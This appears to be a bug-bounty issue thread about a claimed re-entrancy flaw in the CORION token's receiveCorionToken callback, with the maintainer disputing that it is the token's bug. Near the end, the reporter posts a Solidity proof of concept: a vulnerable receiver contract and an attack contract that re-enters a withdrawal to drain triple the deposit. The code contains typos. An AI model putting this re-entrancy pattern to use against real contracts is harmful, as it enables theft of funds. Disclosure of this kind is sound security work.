Re-entry attack.

[sgitt-vassky]

Function receiveCorionToken will invoke the caller contract to perform recursive calls. function() usually cannot do it as send gives it only 2k gas. which is not enough for anything but logging. Here if you give only 2k gas, it wouldn't be enough to return the tokens in case of a mistake, so all remaining gas is given to receiveCorionToken making re-entry attack possible.

Suggested fix: use mutexes to solve re-entrance recursive calls issues. https://en.wikipedia.org/wiki/Mutual_exclusion https://en.wikipedia.org/wiki/Lock_(computer_science)

My reward address: 0x5Df856EAc1b376d3Bc822C2eD71BA0D8BbB74C04

[Dexaran]

Please, give us an example of the code that will demonstrate a real vulnerability in use.

[Dexaran]

I've understand what you said but the thing that you are talking about is not related to CORION token. It is a detail of implementation of receiver contract.

[sgitt-vassky]

This contract will perform 2 recursive calls and withdraw triple the amount of deposited tokens.

contract vulnerableContract {
    address public tokenAddress;

    mapping (address => uint256) public deposited;

    function receiveCotionToken(address _from, uint256 _value, bytes _data) return (bool, uint256) {
        deposited[_from] += _value;
        return (true, 0);
    }

    function giveMyTokensBack() {
        corionToken(tokenAddress).transfer(msg.sender, deposited[msg.sender]);
        deposited[msg.sender] = 0; 
    }
}

contract attackContract {
    bool attackMode = false;
    uint8 times = 0;

    function receiveCotionToken(address _from, uint256 _value, bytes _data) return (bool, uint256) {
        if(attackMode && times < 2) {
            times++;
            vulnerableContract(_from).giveMyTokensBack();
        }
        return (true, 0);
    }
}

[Dexaran]

@sgitt-vassky this is not a bug of CORION token anyways. This is an error in third party contract implementation.